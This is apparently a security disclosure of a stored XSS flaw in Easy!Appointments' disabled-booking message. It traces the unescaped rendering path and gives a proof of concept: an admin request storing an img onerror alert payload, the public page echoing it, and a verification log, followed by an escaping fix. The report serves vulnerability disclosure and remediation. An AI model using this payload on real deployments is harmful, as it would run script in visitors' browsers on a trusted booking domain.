Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS

Summary

Easy!Appointments allows administrators to define a custom "booking disabled" message through the booking settings page. That value is stored in the disable_booking_message setting via a rich-text editor and later passed directly to the public booking_message view without escaping or sanitization:

<p><?= vars('message_text') ?></p>

An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.

Root Cause — Step by Step Code Flow

Step 1 — Rich text editor value stored without sanitization

The booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML:

// assets/js/pages/booking_settings.js line 61-92
bookingSettings.push({
    name: 'disable_booking_message',
    value: $disableBookingMessage.trumbowyg('html'),
});

Step 2 — Settings controller saves value verbatim

The backend settings controller persists the submitted value without any HTML sanitization:

// application/controllers/Booking_settings.php line 76-104
$this->settings_model->save($setting);

Step 3 — Public booking controller forwards stored value to view

When booking is disabled, the public booking controller loads the stored message and passes it directly to the view:

// application/controllers/Booking.php line 113-132
$disable_booking_message = setting('disable_booking_message');
 
html_vars([
    'message_text' => $disable_booking_message,
]);

Step 4 — Public view renders value without escaping

The booking message view emits the value raw using PHP's short echo tag with no escaping:

// application/views/pages/booking_message.php line 10-12
<p><?= vars('message_text') ?></p>

No htmlspecialchars(), no sanitization, no template escaping is applied at any point in this rendering path.

Proof of Concept

Step 1 — Store malicious disabled-booking message as admin:

POST /index.php/booking_settings/save HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <admin-session-cookie>
Content-Type: application/x-www-form-urlencoded
 
csrf_token=<token>&booking_settings[0][name]=disable_booking&booking_settings[0][value]=1&booking_settings[1][name]=disable_booking_message&booking_settings[1][value]=<img src=x onerror=alert("easyappointments xss by ashrexon")>

Response: 200 OK — settings saved successfully

Step 2 — Unauthenticated visitor opens public booking page:

GET / HTTP/1.1
Host: 127.0.0.1:18094
(no authentication)

Observed response fragment:

<p><img src=x onerror=alert("easyappointments xss by ashrexon")></p>

Observed browser behavior:

alert("easyappointments xss by ashrexon") executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.

Runtime verification result:

admin login ok
settings save ok
payload reflected on public page
PASS

Real World Impact

Easy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message — a customer-facing feature intended for maintenance or holiday notices — to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to:

• Execute arbitrary JavaScript in visitor browsers on the trusted booking domain
• Phish visitor credentials or personal information during booking downtime
• Deface the public booking page during maintenance or outage windows
• Redirect visitors to attacker-controlled sites

Suggested Fix

Escape the message value before rendering in the view:

// application/views/pages/booking_message.php
<p><?= e(vars('message_text')) ?></p>

Alternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the disable_booking_message value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.

Reporter

Yash Shendge (ashrexon) 2026-05-25